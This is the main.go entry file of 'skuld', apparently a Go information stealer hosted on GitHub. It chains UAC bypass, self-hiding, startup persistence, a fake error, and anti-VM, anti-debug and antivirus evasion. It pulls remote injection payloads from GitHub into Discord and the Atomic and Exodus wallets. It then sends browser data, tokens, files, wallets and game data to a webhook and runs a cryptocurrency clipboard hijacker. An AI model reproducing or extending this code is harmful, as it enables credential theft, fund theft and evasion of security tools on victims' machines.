-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathmain.go
85 lines (74 loc) · 1.94 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package main
import (
"github.com/hackirby/skuld/modules/antidebug"
"github.com/hackirby/skuld/modules/antivm"
"github.com/hackirby/skuld/modules/antivirus"
"github.com/hackirby/skuld/modules/browsers"
"github.com/hackirby/skuld/modules/clipper"
"github.com/hackirby/skuld/modules/commonfiles"
"github.com/hackirby/skuld/modules/discodes"
"github.com/hackirby/skuld/modules/discordinjection"
"github.com/hackirby/skuld/modules/fakeerror"
"github.com/hackirby/skuld/modules/games"
"github.com/hackirby/skuld/modules/hideconsole"
"github.com/hackirby/skuld/modules/startup"
"github.com/hackirby/skuld/modules/system"
"github.com/hackirby/skuld/modules/tokens"
"github.com/hackirby/skuld/modules/uacbypass"
"github.com/hackirby/skuld/modules/wallets"
"github.com/hackirby/skuld/modules/walletsinjection"
"github.com/hackirby/skuld/utils/program"
)
func main() {
CONFIG := map[string]interface{}{
"webhook": "",
"cryptos": map[string]string{
"BTC": "",
"BCH": "",
"ETH": "",
"XMR": "",
"LTC": "",
"XCH": "",
"XLM": "",
"TRX": "",
"ADA": "",
"DASH": "",
"DOGE": "",
},
}
if program.IsAlreadyRunning() {
return
}
uacbypass.Run()
hideconsole.Run()
program.HideSelf()
if !program.IsInStartupPath() {
go fakeerror.Run()
go startup.Run()
}
antivm.Run()
go antidebug.Run()
go antivirus.Run()
go discordinjection.Run(
"https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js",
CONFIG["webhook"].(string),
)
go walletsinjection.Run(
"https://github.com/hackirby/wallets-injection/raw/main/atomic.asar",
"https://github.com/hackirby/wallets-injection/raw/main/exodus.asar",
CONFIG["webhook"].(string),
)
actions := []func(string){
system.Run,
browsers.Run,
tokens.Run,
discodes.Run,
commonfiles.Run,
wallets.Run,
games.Run,
}
for _, action := range actions {
go action(CONFIG["webhook"].(string))
}
clipper.Run(CONFIG["cryptos"].(map[string]string))
}